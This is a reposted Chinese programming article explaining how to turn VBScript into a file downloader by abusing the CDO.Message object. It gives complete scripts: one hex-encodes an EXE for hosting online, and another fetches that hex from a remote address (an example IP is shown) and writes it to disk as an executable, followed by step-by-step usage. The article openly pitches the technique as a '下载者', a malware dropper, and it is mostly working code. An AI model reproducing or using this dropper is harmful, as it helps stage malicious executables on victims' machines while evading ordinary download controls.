VBS下载文件的新方法
作者 佚名
来源 ASP编程
浏览
发布时间 2013-07-09
BLOG备份脚本时发现 CDO.MESSAGE可以访问网络下载东西,说是研究研究或许可以用来当下载者用。 于是研究了一会。写出个粗糙的DEMO。 exe2hex.vbs //xiaolu写的exe2vbs ,我修改成直接拖放,转成十六进制 ================================================ 复制代码 代码如下: ''code by xiaolu ''change by NetPatch on error resume next set arg=wscript.arguments if arg.count=0 then wscript.quit do while 1 fname=arg(0) err.number=0 Set Ado = CreateObject("adodb.stream") With Ado .Type = 1 .open .loadfromfile fname ss = .read End With if err.number<>0 then if msgbox("文件打开错误!",1,"File2VBS")=2 then Wscript.quit else exit do end if loop if fname="" then Wscript.quit Set Fso=CreateObject("Scripting.FileSystemObject") Set File=fso.OpenTextFile(arg(0)&".htm",2, True) File.write Bin2Str(ss) File.close Set fso=nothing Ado.close set Abo=nothing Function Bin2Str(Re) For i = 1 To lenB(Re) bt = AscB(MidB(Re, i, 1)) if bt < 16 Then Bin2Str=Bin2Str&"0" Bin2Str=Bin2Str & Hex(bt) Next End Function ====================================== 下载者 down.vbs ============= [code] on error resume next set arg=wscript.arguments if arg.count=0 then wscript.quit ''code by NetPatch ''cscript down.vbs http://122.136.32.55/demo.htm c:\good.exe Set Mail1 = CreateObject("CDO.Message") Mail1.CreateMHTMLBody arg(0),31 ss= Mail1.HTMLBody Set Mail1 = Nothing Set RS=CreateObject("ADODB.Recordset") L=Len(ss)/2 RS.Fields.Append "m",205,L RS.Open:RS.AddNew RS("m")=ss&ChrB(0) RS.Update ss=RS("m").GetChunk(L) Set s=CreateObject("ADODB.Stream") with s .Mode = 3 .Type = 1 .Open() .Write ss .SaveToFile arg(1),2 end with ================================== demo.htm内容时用exe2hex.vbs转EXE后获得的 使用方法: 1.exe2hex.vbs 把exe转成十六进制,放到网络上 2.down.vbs http://xxx/demo.htm c:\good.exe |
凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢! |
你可能对下面的文章感兴趣
上一篇: 域内计算机和用户获取实现vbs代码下一篇: iPod文本分割器(VBS版)
关于VBS下载文件的新方法的所有评论